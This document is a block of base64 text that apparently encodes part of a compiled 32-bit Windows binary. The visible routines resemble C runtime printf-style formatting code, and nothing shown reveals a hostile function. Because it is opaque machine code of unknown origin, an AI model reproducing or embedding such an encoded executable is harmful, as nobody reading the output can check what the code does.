HqBYXSdCGNmwAAAADzD28G8w9vThDzD38H8w9/TxCNdiCNfyBKdeWD4R90MIvBwekCdA+LFokXg8cEg8YEg+kBdfGLyIPhA3QTigaIB0ZHSXX3jaQkAAAAAI1JAItEJAxeX8ONpCQAAAAAi/+6EAAAACvQK8pRi8KLyIPhA3QJihaIF0ZHSXX3wegCdA2LFokXjXYEjX8ESHXzWenp/v//VYvsUVNWV4t9COtviweNHIXI7REQizOF9nQHg/7/dXbrVosEhfzFCxBoAAgAAGoAUIlF/P8VeLILEIvwhfZ1R/8VxLQLEIP4V3Uoi3X8agdolMYLEFbo5MYAAIPEDIXAdBFqAGoAVv8VeLILEIvwhfZ1FIPI/4cDg8cEO30MdYwzwF9eW8nDi8aHA4XAdAdW/xWAtAsQi8br6FWL7ItFCFZXjTyF1O0REIsHg87/O8Z0K4XAdSn/dRT/dRDoP////1lZhcB0FP91DFD/FYi0CxCFwHQGi8iHD+sEhzczwF9eXcNVi+xWaKzGCxBopMYLEGisxgsQagDonf///4vwg8QQhfZ0EP91CIvO/xUEuQsQ/9ZeXcNeXf8liLILEFWL7FZowMYLEGi4xgsQaMDGCxBqAehi////g8QQi/D/dQiF9nQMi87/FQS5CxD/1usG/xV8sgsQXl3DVYvsVmjQxgsQaMjGCxBo0MYLEGoC6Cf///+DxBCL8P91CIX2dAyLzv8VBLkLEP/W6wb/FYSyCxBeXcNVi+xWaOTGCxBo3MYLEGjkxgsQagPo7P7//4PEEIvw/3UM/3UIhfZ0DIvO/xUEuQsQ/9brBv8VgLILEF5dw1WL7FZo+MYLEGjwxgsQaPjGCxBqBOiu/v//i/CDxBCF9nQV/3UQi87/dQz/dQj/FQS5CxD/1usM/3UM/3UI/xWMsgsQXl3DzMzMagxoIG4REOh04f//g2XkAItFCP8w6CU0AABZg2X8AItNDOhSDAAAi/CJdeTHRfz+////6A0AAACLxuiR4f//wgwAi3Xki0UQ/zDoBDQAAFnDi/9Vi+yD7AyLRQiNTf+JRfiJRfSNRfhQ/3UMjUX0UOiL////i+Vdw4v/VYvsgeyEBAAAoRSwERAzxYlF/IN9GACLRRBTi10UiYWg+///dRjo6NoAAMcAFgAAAOim1wAAg8j/6REBAACF23QEhcB04FZX/3UcjY18+///6OcKAACLTQiNvZD7//8zwDPSq6urq4vBi72g+///g+ACiYWM+///C8KJvZD7//+JnZT7//+JlZj7//91CoiVnPv//4X/dQfGhZz7//8B/3UgjYWQ+///iYWg+///jYWA+///UP91GI2FoPv///91DFFQjY2k+///6AUKAACNjaT7///oIQ4AAIvwhf90S4tFCDPJg+ABC8F0HIXbdQSF9nVvi4WY+///O8N1KoX2eCk783Yl61uLhYz7//8LwXRNhdt0FYX2eQSID+sNi4WY+///O8N0TYgMB42N5Pv//+iLCgAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvo8OH//4vlXcOF23UFg87/68OLhZj7//87w3W2av5eiEwf/+uwi/9Vi+yB7IQEAAChFLAREDPFiUX8g30YAItFEFOLXRSJhaD7//91GOhs2QAAxwAWAAAA6CrWAACDyP/pFwEAAIXbdASFwHTgVlf/dRyNjXz7///oawkAAItNCI29kPv//zPAM9Krq6uri8GLvaD7//+D4AKJhYz7//8Lwom9kPv//4mdlPv//4mVmPv//3UKiJWc+///hf91B8aFnPv//wH/dSCNhZD7//+JhaD7//+NhYD7//9Q/3UYjYWg+////3UMUVCNjaT7///ovggAAI2NpPv//+gJEAAAi/CF/3RRi0UIg+ABg8gAdByF23UEhfZ1douFmPv//zvDdS6F9ngwO/N2LOtii4WM+///g8gAdFOF23QbhfZ5BzPAZokH6xCLhZj7//87w3RQM8lmiQxHjY3k+///6AkJAACAvYj7//8AdA2LjXz7//+DoVADAAD9X4vGXotN/DPNW+hu4P//i+Vdw4XbdQWDzv/rw4uFmPv//zvDdbNq/l4zwGaJRF/+662L/1WL7IHshAQAAKEUsBEQM8WJRfyDfRgAi0UQU4tdFImFoPv//3UY6OfXAADHABYAAADopdQAAIPI/+kRAQAAhdt0BIXAdOBWV/91HI2NfPv//+jmBwAAi00Ijb2Q+///M8Az0qurq6uLwYu9oPv//4PgAomFjPv//wvCib2Q+///iZ2U+///iZWY+///dQqIlZz7//+F/3UHxoWc+///Af91II2FkPv//4mFoPv//42FgPv//1D/dRiNhaD7////dQxRUI2NpPv//+gEBwAAjY2k+///6EgMAACL8IX/dEuLRQgzyYPgAQvBdByF23UEhfZ1b4uFmPv//zvDdSqF9ngpO/N2Jetbi4WM+///C8F0TYXbdBWF9nkEiA/rDYuFmPv//zvDdE2IDAeNjeT7///oigcAAIC9iPv//wB0DYuNfPv//4OhUAMAAP1fi8Zei038M81b6O/e//+L5V3Dhdt1BYPO/+vDi4WY+///O8N1tmr+XohMH//rsIv/VYvsgeyEBAAAoRSwERAzxYlF/IN9GACLRRBTi10UiYWg+///dRjoa9YAAMcAFgAAAOgp0wAAg8j/6RcBAACF23QEhcB04FZX/3UcjY18+///6GoGAACLTQiNvZD7//8zwDPSq6urq4vBi72g+///g+ACiYWM+///C8KJvZD7//+JnZT7//+JlZj7//91CoiVnPv//4X/dQfGhZz7//8B/3UgjYWQ+///iYWg+///jYWA+///UP91GI2FoPv///91DFFQjY2k+///6L0FAACNjaT7///oOA4AAIvwhf90UYtFCIPgAYPIAHQchdt1BIX2dXaLhZj7//87w3UuhfZ4MDvzdizrYouFjPv//4PIAHRThdt0G4X2eQczwGaJB+sQi4WY+///O8N0UDPJZokMR42N5Pv//+gIBgAAgL2I+///AHQNi418+///g6FQAwAA/V+Lxl6LTfwzzVvobd3//4vlXcOF23UFg87/68OLhZj7//87w3Wzav5eM8BmiURf/uuti/9Vi+yDfRgAdRXoA9UAAMcAFgAAAOjB0QAAg8j/XcNWi3UQhfZ0OoN9FAB2NP91IP91HP91GP91FFb/dQz/dQjouPn//4PEHIXAeQPGBgCD+P51IOi51AAAxwAiAAAA6wvorNQAAMcAFgAAAOhq0QAAg8j/Xl3Di/9Vi+yDfRgAdRXoi9QAAMcAFgAAAOhJ0QAAg8j/XcNWi3UQhfZ0PIN9FAB2Nv91IP91HP91GP91FFb/dQz/dQjovPr//4PEHIXAeQUzyWaJDoP4/nUg6D/UAADHACIAAADrC+gy1AAAxwAWAAAA6PDQAACDyP9eXcODuQQEAAAAdQa4AAIAAMOLgQAEAADR6MOL/1WL7FGDyP8z0laLdQj39leD4P6L+YP4AnMP6OjTAADHAAwAAAAywOtTUzPbA/Y5nwQEAAB1CIH+AAQAAHYIO7cABAAAdwSwAesxVugE1AAAiUX8WYXAdBqNRfxQjY8EBAAA6GcEAACLRfyzAYm3AAQAAFDootMAAFmKw1tfXovlXcIEAIv/VYvsi0UUSIPoAXQug+gBdCWD6Al0IIN9FA10HopFEDxjdAg8c3QEMsnrArEBM8CEyQ+UwF3DsAFdwzLAXcOL/1WL7ItFFEiD6AF0PYPoAXQ0g+gJdC+DfRQNdCmLRQgzyYPgBLIBC8F1AorRZoN9EGN0B2aDfRBzdQKxATPAOtEPlMBdw7ABXcMywF3Di/9Wi/FXi74EBAAA6ML+//+F/3UEA8brAgPHX17Di/9Vi+xTVovxV41OQIu5BAQAAIX/dQKL+eiX/v//i10ISAP4iX40i04ohcl/BIXbdDAz0ovD93UMSYDCMIlOKIvYgPo5fhGAfRAAD5TA/sgk4ARhLDoC0ItGNIgQ/04068WLRjQr+Il+OEBfiUY0XltdwgwAi/9Vi+xRUVNWi/FXjU5Ai7kEBAAAhf91Aov56CD+//+LVQxIi10IA/iJfjSLTiiFyX8Gi8MLwnQ6agD/dRCNQf9SU4lGKOjYggEAgMEwiV38i9iA+Tl+EYB9FAAPlMD+yCTgBGEsOgLIi0Y0iAj/TjTruYtGNCv4iX44QF+JRjReW4vlXcIQAIv/VYvsVjP2OXUQfiFTZg++XQxXi30Ui00IV1PoTCEAAIM//3QGRjt1EHzrX1teXcOL/1WL7FYz9jl1EH4cV4t9FItNCFf/dQzoXyEAAIM//3QGRjt1EHzpX15dw4v/VYvsVjP2OXUQfiFTZg++XQxXi30Ui00IV1PocSEAAIM//3QGRjt1EHzrX1teXcOL/1WL7FEzwIlN/IkBiUEEiUEIiUEMiUEQiUEUiUEYiUEciUEgiUEkiUEoZolBMIlBOIhBPImBQAQAAImBRAQAAIvBi+Vdw4v/VYvsUTPSiU38M8CJEWaJQTKLwYlRBIlRCIlRDIlREIlRFIlRGIlRHIlRIIlRJIlRKIhRMIlROIhRPImRQAQAAImRRAQAAIvlXcOL/1WL7FaL8ehg////i0UIiwCJhkgEAACLRQyJBotFEIlGBItFGIlGCItFFIlGEItFHIlGFIvGXl3CGACL/1WL7FaL8ehr////i0UIiwCJhkgEAACLRQyJBotFEIlGBItFGIlGCItFFIlGEItFHIlGFIvGXl3CGACL/1WL7Fb/dRyL8f91GP91FP91EP91DP91COhp////g6ZQBAAAAOgV0AAAiUYMi8ZeXcIYAIv/VYvsVv91HIvx/3UY/3UU/3UQ/3UM/3UI6HD///+DplAEAAAA6ODPAACJRgyLxl5dwhgAi/9Vi+xXi/mLTQjGRwwAhcl0CosBiUcEi0EE6xahYO8REIXAdRKhuLEREIlHBKG8sREQiUcI60RW6AHZAACNVwSJB1KNdwiLSEyJCotISFCJDug32gAAVv836FzaAACLD4PEEIuBUAMAAF6oAnUNg8gCiYFQAwAAxkcMAYvHX13CBACL/1aL8f+2BAQAAOhWzwAAg6YEBAAAAFlew4v/VYvsVovx/zboPc8AAItVCIMmAFmLAokGi8aDIgBeXcIEAIv/VYvsgex4BAAAoRSwERAzxYlF/FaL8VeLBos4V+jV5QAAiIWc+///i0YEWY2NiPv///8w6AX///+LBo2NpPv//4sAiYWg+///i0YQ/zCNhYz7//9Qi0YM/zCLRgj/cAT/MI2FoPv//1Dom/7//42NpPv//+jGBAAAjY3k+///i/DoO////4C9lPv//wB0DYuNiPv//4OhUAMAAP1X/7Wc+///6ATmAABZWYtN/IvGXzPNXuiT1v//i+Vdw4v/VYvsi0UMi00IU4sAi4CIAAAAiwCKGOsFOsN0B0GKAYTAdfWKAUGEwHQo6wk8ZXQLPEV0B0GKAYTAdfGL0UmAOTB0+jgZdQFJigJBQogBhMB19ltdw4v/VYvsik0IjUHgPFp3Dw++wQ+2gFjHCxCD4A/rAjPAa8gJi0UMD7aEAXjHCxDB6ARdwggAi/9Vi+yKTQiNQeA8WncPD77BD7aI+MYLEIPhD+sCM8mLRQwPtoTIGMcLEMHoBF3CCACL/1WL7ItNCI1B4GaD+Fp3Dw+3wQ+2iPjGCxCD4Q/rAjPJi0UMD7aEyBjHCxDB6ARdwggAi/9Vi+yLTQiNQeBmg/hadw8Pt8EPtoBYxwsQg+AP6wIzwGvICYtFDA+2hAF4xwsQwegEXcIIAIv/VYvsVot1CA++BlDodMwAAIP4ZesMRg+2BlDoisoAAIXAWXXxD74GUOhXzAAAWYP4eHUDg8YCi0UMig6LAIuAiAAAAIsAigCIBkaKBogOisiKBkaEwHXzXl3Di/9Vi+xRU1aL8Y1N/FdqClGLfgyLH4MnAItGEINl/ABIUOhtPQAAi00Ig8QMiQGLRgyDOCJ0D4tF/DtGEHIHiUYQsAHrAjLAgz8AdQaF23QCiR9fXluL5V3CBACL/1WL7FFTVovxjU38V2oKUYt+DIsfgycAi0YQg2X8AIPoAlDokz0AAItNCIPEDIkBi0YMgzgidA+LRfw7RhByB4lGELAB6wIywIM/AHUGhdt0AokfX15bi+VdwgQAi/9Wi/GNjkgEAADoYBsAAITAdQWDyP9ew1Mz2zleEA+FygAAAOjvywAAxwAWAAAA6K3IAACDyP/pyAAAAIleOIleHOmFAAAA/0YQOV4YD4yMAAAA/3YcD7ZGMYvOUOi1/f//iUYcg/gIdLqD+Ad3xf8khY0IChCLzuiwBQAA60WDTij/iV4kiF4wiV4giV4siF486ziLzugYBQAA6yeLzuhCEgAA6x6JXijrIYvO6JkGAADrEIvO6OEGAADrB4vO6DkLAACEwA+EaP///4tGEIoAiEYxhMAPhWv/////RhCLzuikGgAAhMAPhEb/////hlAEAACDvlAEAAACD4U7////i0YYW17D/AcKEAUIChAaCAoQIwgKECwIChAxCAoQOggKEEMIChCL/1aL8Y2OSAQAAOg4GgAAhMB1BYPI/17DUzPbOV4QD4W7AAAA6MfKAADHABYAAADohccAAIPI/+m5AAAAiV44iV4c6YUAAAD/RhA5XhgPjIwAAAD/dhwPtkYxi85Q6ML8//+JRhyD+Ah0uoP4B3fF/ySFqQkKEIvO6IgEAADrRYNOKP+JXiSIXjCJXiCJXiyIXjzrOIvO6PADAADrJ4vO6BoRAADrHoleKOshi87ocQUAAOsQi87ouQUAAOsHi87oEQoAAITAD4Ro////i0YQigCIRjGEwA+Fa/////9GEP+GUAQAAIO+UAQAAAIPhUr///+LRhhbXsONSQAkCQoQLQkKEEIJChBLCQoQVAkKEFkJChBiCQoQawkKEIv/VovxjY5IBAAA6BwZAACEwHUFg8j/XsNTM9s5XhAPhcAAAADoq8kAAMcAFgAAAOhpxgAAg8j/6b4AAACJXjiJXhzphgAAAINGEAI5XhgPjJAAAAD/dhwPt0Yyi85Q6Nf7//+JRhyD+Ah0uYP4B3fE/ySFyQoKEIvO6IoDAADrRYNOKP+JXiSIXjCJXiCJXiyIXjzrOIvO6BADAADrJ4vO6CgQAADrHoleKOshi87ofAQAAOsQi87oBQYAAOsHi87oIwsAAITAD4Rn////i0YQD7cAZolGMmaFwA+FZ////4NGEAL/hlAEAACDvlAEAAACD4VF////i0YYW17Di/9BCgoQSgoKEF8KChBoCgoQcQoKEHYKChB/CgoQiAoKEIv/VovxjY5IBAAA6PwXAACEwHUFg8j/XsNTM9s5XhAPhc8AAADoi8gAAMcAFgAAAOhJxQAAg8j/6c0AAACJXjiJXhzphgAAAINGEAI5XhgPjJAAAAD/dhwPt0Yyi85Q6Ov6//+JRhyD+Ah0uYP4B3fE/ySF+QsKEIvO6IkCAADrRYNOKP+JXiSIXjCJXiCJXiyIXjzrOIvO6PABAADrJ4vO6AgPAADrHoleKOshi87oXAMAAOsQi87oYQYAAOsHi87oYAwAAITAD4Rn////i0YQD7cAZolGMmaFwA+FZ////4NGEAKLzug7FwAAhMAPhEH/////hlAEAACDvlAEAAACD4U2////i0YYW17DjUkAYQsKEGoLChB/CwoQiAsKEJELChCWCwoQnwsKEKgLChCL/1aL8Y2OSAQAAOjMFgAAhMB1BYPI/17DUzPbOV4QD4XAAAAA6FvHAADHABYAAADoGcQAAIPI/+m+AAAAiV44iV4c6YYAAACDRhACOV4YD4yQAAAA/3YcD7dGMovOUOiH+f//iUYcg/gIdLmD+Ad3xP8khRkNChCLzuhZAQAA60WDTij/iV4kiF4wiV4giV4siF486ziLzujAAAAA6yeLzujYDQAA6x6JXijrIYvO6CwCAADrEIvO6DEFAADrB4vO6DALAACEwA+EZ////4tGEA+3AGaJRjJmhcAPhWf///+DRhAC/4ZQBAAAg75QBAAAAg+FRf///4tGGFtew4v/kQwKEJoMChCvDAoQuAwKEMEMChDGDAoQzwwKENgMChAPvkExg+ggdC2D6AN0IoPoCHQXSIPoAXQLg+gDdRyDSSAI6xaDSSAE6xCDSSAB6wqDSSAg6wSDSSACsAHDD7dBMoPoIHQtg+gDdCKD6Ah0F0iD6AF0C4PoA3Ucg0kgCOsWg0kgBOsQg0kgAesKg0kgIOsEg0kgArABw+hYAAAAhMB1E+jdxQAAxwAWAAAA6JvCAAAywMOwAcPoYwAAAITAdRPovsUAAMcAFgAAAOh8wgAAMsDDsAHD6F8AAACEwHUT6J/FAADHABYAAADoXcIAADLAw7ABw4v/VmoAi/HoVAAAAITAdQJew41GGFAPtkYxjY5IBAAAUOg8FQAAsAFew41RGMZBPAFSD7dRMoHBSAQAAFLo4BQAALABw41RGMZBPAFSD7dRMoHBSAQAAFLoRxUAALABw4v/VovxV78AgAAAi0YIik4xxkY8AA+20YsAiwBmhTxQdDiNRhhQUY2OSAQAAOjQFAAAi04QigGIRjGNQQGAfjEAiUYQdRTo48QAAMcAFgAAAOihwQAAMsDrArABX17CBACAeTEqdAqNQShQ6Ov3///Dg0EUBItBFItA/IlBKIXAeQSDSSj/sAHDZoN5Mip0Co1BKFDoHvj//8ODQRQEi0EUi0D8iUEohcB5BINJKP+wAcOKQTE8RnUaiwGD4AiDyAAPhVEBAADHQRwHAAAA6UAEAAA8TnUmiwFqCFojwoPIAA+FMQEAAIlRHOg/xAAAxwAWAAAA6P3AAAAywMODeSwAdecPvsCD+GoPj74AAAAPhK8AAACD+El0T4P4THQ+g/hUdC2D+GgPhesAAACLQRCAOGh1EEDHQSwBAAAAiUEQ6dMAAADHQSwCAAAA6ccAAADHQSwNAAAA6bsAAADHQSwIAAAA6a8AAACLURCKAjwzdRiAegEydRKNQgLHQSwKAAAAiUEQ6Y4AAAA8NnUVgHoBNHUPjUICx0EsCwAAAIlBEOt1PGR0FDxpdBA8b3QMPHV0CDx4dAQ8WHVdx0EsCQAAAOtUx0EsBQAAAOtLg/hsdCqD+HR0HIP4d3QOg/h6dTfHQSwGAAAA6y7HQSwMAAAA6yXHQSwHAAAA6xyLQRCAOGx1DUDHQSwEAAAAiUEQ6wfHQSwDAAAAsAHDD7dBMoP4RnUaiwGD4AiDyAAPhWIBAADHQRwHAAAA6QQFAACD+E51JosBaghaI8KDyAAPhUEBAACJURzo08IAAMcAFgAAAOiRvwAAMsDDg3ksAHXng/hqD4/NAAAAD4S+AAAAg/hJdFOD+Ex0QoP4VHQxamhaO8IPhfwAAACLQRBmORB1EoPAAsdBLAEAAACJQRDp4gAAAMdBLAIAAADp1gAAAMdBLA0AAADpygAAAMdBLAgAAADpvgAAAItREA+3AoP4M3UZZoN6AjJ1Eo1CBMdBLAoAAACJQRDpmgAAAIP4NnUWZoN6AjR1D41CBMdBLAsAAACJQRDrf4P4ZHQZg/hpdBSD+G90D4P4dXQKg/h4dAWD+Fh1YcdBLAkAAADrWMdBLAUAAADrT2psWjvCdCqD+HR0HIP4d3QOg/h6dTnHQSwGAAAA6zDHQSwMAAAA6yfHQSwHAAAA6x6LQRBmORB1D4PAAsdBLAQAAACJQRDrB8dBLAMAAACwAcMPt0Eyg/hGdRqLAYPgCIPIAA+FYgEAAMdBHAcAAADp5QUAAIP4TnUmiwFqCFojwoPIAA+FQQEAAIlRHOhXwQAAxwAWAAAA6BW+AAAywMODeSwAdeeD+GoPj80AAAAPhL4AAACD+El0U4P4THRCg/hUdDFqaFo7wg+F/AAAAItBEGY5EHUSg8ACx0EsAQAAAIlBEOniAAAAx0EsAgAAAOnWAAAAx0EsDQAAAOnKAAAAx0EsCAAAAOm+AAAAi1EQD7cCg/gzdRlmg3oCMnUSjUIEx0EsCgAAAIlBEOmaAAAAg/g2dRZmg3oCNHUPjUIEx0EsCwAAAIlBEOt/g/hkdBmD+Gl0FIP4b3QPg/h1dAqD+Hh0BYP4WHVhx0EsCQAAAOtYx0EsBQAAAOtPamxaO8J0KoP4dHQcg/h3dA6D+Hp1OcdBLAYAAADrMMdBLAwAAADrJ8dBLAcAAADrHotBEGY5EHUPg8ACx0EsBAAAAIlBEOsHx0EsAwAAALABw4v/VYvsUVNWi/Ez20MzyQ++RjGD+GR/bA+EkwAAAIP4WH8+dDeD+EEPhJMAAACD+EN0PoP4RH4dg/hHD46AAAAAg/hTdQ+Lzuj+DQAAhMAPhZ8AAAAywOnNAQAAU2oQ61eD6Fp0FYPoB3RWSIPoAXXkUYvO6LUKAADr0ovO6BoHAADryYP4cH9NdD+D+Gd+MYP4aXQcg/hudA6D+G91tovO6G4NAADrpYvO6PEMAADrnINOIBBRagqLzuiXCwAA64yLzuiaBwAA64OLzuhiDQAA6Xf///+D6HMPhGf///9Ig+gBdNCD6AMPhWf///9R6Wn///+AfjAAdAeKw+koAQAAi1YgM8BXZolF/Iv4iEX+i8LB6ASEw3Qni8LB6AaEw3QGxkX8LesWhNN0BsZF/CvrDIvC0eiEw3QGxkX8IIv7ik4xgPl4dAWA+Vh1CYvCwegFhMN1AjLbgPlhdAmA+UF0BDLA6wKwAYTbdQSEwHQnxkQ9/DCA+Vh0CYD5QXQEMsDrArABhMAPlMD+yCTgBHiIRD39g8cCi14kK144K9/2wgx1Fo1GGFBTjYZIBAAAaiBQ6Lzs//+DxBD/dgyNRhhQV41F/I2OSAQAAFDo7xAAAItOII1+GIvBwegDqAF0G8HpAvbBAXUTV1ONhkgEAABqMFDoe+z//4PEEGoAi87ocg4AAIM/AHwdi0YgwegCqAF0E1dTjYZIBAAAaiBQ6FDs//+DxBCwAV9eW4vlXcOL/1WL7IPsDKEUsBEQM8WJRfxTVovxM9tqQVpqWA+3RjJZg/hkf2sPhJIAAAA7wX8+dDY7wg+ElAAAAIP4Q3Q/g/hEfh2D+EcPjoEAAACD+FN1D4vO6DUMAACEwA+FoAAAADLA6eQBAABqAWoQ61eD6Fp0FYPoB3RWSIPoAXXjU4vO6AgJAADr0YvO6EAFAADryIP4cH9NdD+D+Gd+MYP4aXQcg/hudA6D+G91tYvO6DELAADrpIvO6LQKAADrm4NOIBBTagqLzuhaCQAA64uLzui3BgAA64KLzuglCwAA6Xb///+D6HMPhGb///9Ig+gBdNCD6AMPhWb///9T6Wn///84XjAPhUABAACLViAzyVeLwold9MHoBEFmiV34aiBfhMF0KIvCwegGhMF0CWotWGaJRfTrFITRdARqK+vxi8LR6ITBdAZmiX30i9kPt04yg/l4dAhqWFhmO8h1DYvCwegFqAF0BLQB6wIy5IP5YXQMakFfZjvPdAQywOsCsAFqMF+E5HUEhMB0MGpYWGaJfF30ZjvIdAxqQVhmO8h0BDLA6wKwAYTAD5TA/sgk4AR4ZphmiURd9oPDAot+JCt+OCv79sIMdRaNRhhQV42GSAQAAGogUOg46v//g8QQ/3YMjUYYUFONRfSNjkgEAABQ6A8OAACLTiCNXhiLwcHoA6gBdBvB6QL2wQF1E1NXjYZIBAAAajBQ6Pfp//+DxBBqAIvO6MYMAACDOwB8HYtGIMHoAqgBdBNTV42GSAQAAGogUOjM6f//g8QQX7ABi038XjPNW+jKw///i+Vdw4v/VYvsg+wMoRSwERAzxYlF/FNWi/Ez22pBWmpYD7dGMlmD+GR/aw+EkgAAADvBfz50NjvCD4SUAAAAg/hDdD+D+ER+HYP4Rw+OgQAAAIP4U3UPi87o2AkAAITAD4WgAAAAMsDp5AEAAGoBahDrV4PoWnQVg+gHdFZIg+gBdeNTi87oqwYAAOvRi87o4wIAAOvIg/hwf010P4P4Z34xg/hpdByD+G50DoP4b3W1i87o1AgAAOuki87oVwgAAOubg04gEFNqCovO6P0GAADri4vO6FoEAADrgovO6MgIAADpdv///4Pocw+EZv///0iD6AF00IPoAw+FZv///1Ppaf///zheMA+FQAEAAItWIDPJV4vCiV30wegEQWaJXfhqIF+EwXQoi8LB6AaEwXQJai1YZolF9OsUhNF0BGor6/GLwtHohMF0BmaJffSL2Q+3TjKD+Xh0CGpYWGY7yHUNi8LB6AWoAXQEtAHrAjLkg/lhdAxqQV9mO890BDLA6wKwAWowX4TkdQSEwHQwalhYZol8XfRmO8h0DGpBWGY7yHQEMsDrArABhMAPlMD+yCTgBHhmmGaJRF32g8MCi34kK344K/v2wgx1Fo1GGFBXjYZIBAAAaiBQ6Djo//+DxBD/dgyNRhhQU41F9I2OSAQAAFDo0gwAAItOII1eGIvBwegDqAF0G8HpAvbBAXUTU1eNhkgEAABqMFDo9+f//4PEEGoAi87o9AoAAIM7AHwdi0YgwegCqAF0E1NXjYZIBAAAaiBQ6Mzn//+DxBBfsAGLTfxeM81b6G3B//+L5V3DgHkxKnQKjUEkUOhQ7P//w4NBFASLQRSLQPyJQSSFwHkHg0kgBPdZJLABw2aDeTIqdAqNQSRQ6IDs///Dg0EUBItBFItA/IlBJIXAeQeDSSAE91kksAHDi/9Vi+yLRQiD+At3Gf8khe8aChBqBFhdwzPAQF3DagLr9GoI6/AzwF3Di//XGgoQ3BoKEOEaChDXGgoQ5RoKEOUaChDXGgoQ1xoKEOkaChDXGgoQ1xoKEOUaChCL/1NWi/FXg0YUBItGFIt4/IX/dDaLXwSF23Qv/3YsD7ZGMVD/dgT/NujO5P//g8QQiV40hMAPtwd0C9HoiUY4xkY8AesXiUY46w7HRjTUxwsQx0Y4BgAAAMZGPABfXrABW8OL/1NWi/FXg0YUBItGFIt4/IX/dDaLXwSF23Qv/3YsD7dGMlD/dgT/Nuir5P//g8QQiV40hMAPtwd0C9HoiUY4xkY8AesXiUY46w7HRjTUxwsQx0Y4BgAAAMZGPABfXrABW8OL/1WL7FFRVovxV4NOIBCLRiiFwHkdikYxPGF0DTxBdAnHRigGAAAA6x3HRigNAAAA6xR1EopGMTxndAQ8R3UHx0YoAQAAAItGKI1+QFO7XQEAAIvPA8NQ6FPj//+EwHUMi8/oMOP//yvDiUYoi4cEBAAAhcB1AovHg2X4AINl/ACJRjSDRhQIi04Ui0H4iUX4i0H8i8+JRfzo+uL//4ufBAQAAIvIhdt1Aovf/3YID75GMf92BP82/3YoUFGLz+gB5P//UIvP6Mzi//9QjUX4U1Dov8oAAItGIIPEKMHoBVuoAXQTg34oAHUN/3YI/3Y06JTp//9ZWYpGMTxndAQ8R3UXi0YgwegFqAF1Df92CP92NOhJ6P//WVmLRjSAOC11CINOIEBAiUY0i1Y0igI8aXQMPEl0CDxudAQ8TnUExkYxc416AYoKQoTJdfkr17ABX4lWOF6L5V3Di/9Vi+xRUVZXi/FqZ1lqR4NOIBCLRihahcB5IA+3RjKD+GF0DoP4QXQJx0YoBgAAAOsgx0YoDQAAAOsXdRUPt0YyZjvBdAVmO8J1B8dGKAEAAACLRiiNfkBTu10BAACLzwPDUOjt4f//hMB1DIvP6Mrh//8rw4lGKIuHBAQAAIXAdQKLx4Nl+ACDZfwAiUY0g0YUCItOFItB+IlF+ItB/IvPiUX86JTh//+LnwQEAACLyIXbdQKL3/92CA++RjL/dgT/Nv92KFBRi8/om+L//1CLz+hm4f//UI1F+FNQ6FnJAACLRiCDxCjB6AVbqAF0E4N+KAB1Df92CP92NOgu6P//WVkPt0YyamdZZjvBdAhqR1lmO8F1F4tGIMHoBagBdQ3/dgj/djTo2ub//1lZi0Y0gDgtdQiDTiBAQIlGNItWNIoCPGl0DDxJdAg8bnQEPE51B2pzWGaJRjKNegGKCkKEyXX5K9ewAV+JVjhei+Vdw4v/VovxV/92LA+2RjFQ/3YE/zboUuH//4PEEI1+QITAdDmDRhQEi0YUU4ufBAQAAA+3QPyF23UCi99Qi8/oiuD//1CNRjhTUOhwtwAAg8QQW4XAdCXGRjAB6x+LjwQEAACFyXUCi8+DRhQEi0YUikD8iAHHRjgBAAAAi4cEBAAAhcB0Aov4iX40sAFfXsIEAIv/VYvsUVNWi/FXxkY8AYNGFASLRhT/diwPt1j8D7dGMlD/dgT/Nuju4P//g8QQjX5AhMB1MouPBAQAAIhd/IhF/YXJdQKLz4tGCFCLAP9wBI1F/FBR6J20AACDxBCFwHkVxkYwAesPi4cEBAAAhcB1AovHZokYi4cEBAAAhcB0Aov4iX40sAFfx0Y4AQAAAF5bi+VdwgQAi/9Vi+xTVovx/3Ys6Nn6//9Zi9iLy4PpAXR4g+kBdFZJg+kBdDOD6QR0F+iVswAAxwAWAAAA6FOwAAAywOkCAQAAi0Ygg0YUCMHoBKgBi0YUi0j4i1D861iLRiCDRhQEwegEqAGLRhR0BYtA/Os/i0j8M9LrO4tGIINGFATB6ASoAYtGFHQGD79A/OshD7dA/Osbi0Ygg0YUBMHoBKgBi0YUdAYPvkD86wQPtkD8mYvIV4t+IIvHwegEqAF0F4XSfxN8BIXJcw332YPSAPfag89AiX4gg34oAF99CcdGKAEAAADrEYNmIPe4AAIAADlGKH4DiUYoi8ELwnUEg2Yg3/91DP91CIP7CHULUlGLzuhQ4P//6whRi87o0d///4tGIMHoB6gBdBqDfjgAdAiLRjSAODB0DP9ONItONMYBMP9GOLABXltdwggAi/9Wi/FXg0YUBItGFIt4/Og0yQAAhcB1FOhdsgAAxwAWAAAA6BuvAAAywOtE/3Ys6Gv5//9Zg+gBdCuD6AF0HUiD6AF0EIPoBHXOi0YYmYkHiVcE6xWLRhiJB+sOZotGGGaJB+sFikYYiAfGRjABsAFfXsOLUSCLwsHoBagBdAmByoAAAACJUSBqAGoI6CT+///DagFqEMdBKAgAAADHQSwKAAAA6Az+///Di/9TVovxV4NGFASLRhSLfiiLWPyJXjSD//91Bb////9//3YsD7ZGMVD/dgT/Nuga3v//g8QQhMB0GoXbdQfHRjTcxwsQV/92NMZGPAHokrUAAOsUhdt1B8dGNNTHCxBX/3Y06FW0AABZWV+JRjiwAV5bw4v/U1aL8VeDRhQEi0YUi34oi1j8iV40g///dQW/////f/92LA+3RjJQ/3YE/zbo593//4PEEITAdByF23UHx0Y03McLEFf/djTGRjwB6B+1AABZWesVhdt1B8dGNNTHCxBqAFeLzugJAAAAX4lGOLABXlvDi/9Vi+xWV4v5M/aLVzQ5dQh+JVOKAoTAdB0Ptsi7AIAAAItHCIsAiwBmhRxIdAFCQkY7dQh83Vtfi8ZeXcIIAIM5AHUT6J+wAADHABYAAADoXa0AADLAw7ABw4N5HAB0GYN5HAd0E+h9sAAAxwAWAAAA6DutAAAywMOwAcOL/1WL7IsBi0AMwegMqAF0CIsBg3gEAHQe/zH/dQjoosUAAFlZuf//AABmO8F1CItFDIMI/+sFi0UM/wBdwggAi/9Vi+yL0YsKi0EIO0EEi0UMdRSAeQwAdAT/AOsDgwj/iwKKQAzrFv8AiwL/QAiLAosIikUIiAGLAv8AsAFdwggAi/9Vi+yL0YsKi0EIO0EEi0UMdRSAeQwAdAT/AOsDgwj/iwKKQAzrGf8AiwL/QAiLAosIZotFCGaJAYsCgwACsAFdwggAi/9Vi+yD7BChFLAREDPFiUX8U1aL8VeAfjwAdF2LRjiFwH5Wi340M9uFwHRlD7cHjX8Cg2XwAFBq